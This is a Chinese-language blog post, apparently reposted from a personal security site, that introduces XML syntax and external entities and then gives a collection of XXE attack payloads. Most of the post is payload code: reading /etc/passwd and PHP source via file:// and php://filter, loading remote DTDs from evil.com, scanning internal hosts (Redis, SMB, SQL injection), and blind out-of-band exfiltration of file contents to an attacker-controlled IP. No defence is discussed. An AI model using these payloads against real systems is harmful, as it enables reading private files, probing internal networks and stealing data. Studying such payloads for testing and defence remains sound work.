XXE漏洞

作者: cws | 来源:发表于2018-05-08 11:27 被阅读87次

原文链接:http://wyb0.com/posts/xxe/

0x00 XXE

XXE漏洞是针对使用XML交互的Web应用程序的攻击方法

XML文件作为配置文件(spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛

0x01 XML格式

<?xml version="1.0" encoding="utf-8"?>  <!--xml声明-->

<!--文档类型定义-->
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to       (#PCDATA)>
  <!ELEMENT from     (#PCDATA)>
  <!ELEMENT heading  (#PCDATA)>
  <!ELEMENT body     (#PCDATA)>
]>

<!--文档元素-->
<note>
<to>Tom</to>
<from>John</from>
<heading>Reminder</heading>
<body>Hi,I’am John</body>
</note>

0x02 内部声明与外部引用

<!--内部声明实体-->
<!ENTITY 实体名称 "实体的值">

<!--引用外部实体-->
<!ENTITY 实体名称 SYSTEM "URI">

0x03 XXE漏洞

  • 外部引用时可能会出现漏洞,几种payload:
<?xml version="1.0"?>
<!DOCTYPE a [
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<test>&xxe;</test>
<?xml version="1.0"?>
<!DOCTYPE a [
  <!ENTITY % d SYSTEM "http://evil.com/evil.dtd" >
  %d;
]>
<test>&b;</test>

evil.dtd中的内容为:<!ENTITY b SYSTEM "file:///etc/passwd" >
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://evil.com/evil.dtd">
<test>&b;</test>

evil.dtd中的内容为:<!ENTITY b SYSTEM "file:///etc/passwd" >
  • 简单绕过
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
  <!ELEMENT methodname ANY >
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<methodcall>
  <methodname>&xxe;</methodname>
</methodcall>
  • 扫描内网
<!ENTITY portscan SYSTEM 'http://192.168.2.22:6379/'>
<!ENTITY smb SYSTEM '\\192.168.2.22\C$'>
<!ENTITY sqli SYSTEM 'http://192.168.2.22/a.php?id=-1+union+select+1,2,3--'>
  • Blind-XXE
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % ttt SYSTEM "php://filter/convert.base64-encode/resource=/flag">
    <!ENTITY % remote SYSTEM "http://Your IP/evil.xml">
    %remote;   <!--引用remote来将外部文件evil.xml引入到解释上下文中-->
    %payload;   <!--执行%payload,这时会检测到send实体,然后在root节点中引用send,就可以成功实现数据转发-->
]>
<root>&send;</root>

<!--evil.xml内容:-->
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://Your IP/a.php?content=%ttt;'>">
<?xml version="1.0"?>  
<!DOCTYPE ANY[  
    <!ENTITY % file SYSTEM "file:///C:/1.txt">  
    <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">  
    %remote;  
    %all;  
    %send;  
]>

<!--evil.xml内容:-->
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

Reference(侵删):

相关文章

  • XXE后记(3)--抛砖引玉

    XXE最后的尾巴 知道了XXE的漏洞原理,以及简单的利用方法,漏洞危害后;就应该通过案例来感受XXE造成的危害,引...

  • 00.web

    1. XXE[1] XXE (XML External Entity Injection) 漏洞实践 如何挖掘Ub...

  • XXE漏洞

    原文链接:http://wyb0.com/posts/xxe/ 0x00 XXE XXE漏洞是针对使用XML交互的...

  • XXE漏洞

    0x01 XXE基础-XML基础语法 XML被设计用来传输和存储数据。 HTML被设计用来显示数据。 0x02 什...

  • XXE漏洞

    XML简介 本节内容结合了《Web hacking 101》,链接在本文末尾,此书不错,基于hackerone上的...

  • java xxe漏洞

    一、XXE漏洞简介 1、XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XM...

  • JAVA的XXE漏洞

    1. XXE简介 XXE(XML外部实体注入,XML External Entity) ,漏洞在对不安全的外部实体...

  • XXE CTF题目

    api调用 1、链接:jarvisoj 2、解题方法:xxe漏洞读取文件。payload: Pikachu漏洞联系...

  • 拒绝XML XXE,宅男不能言听计从

    漏洞信息来源 XXE in WeChat Pay Sdk ( WeChat leave a backdoor on...

  • 2019-11-11 CVE-2017-12629 复现学习

    CVE-2017-12629包含两个漏洞,分别是XXE和远程命令执行。 CVE-2017-12629 XXE 首先...

网友评论

    本文标题:XXE漏洞

    本文链接:https://www.haomeiwen.com/subject/hfmirftx.html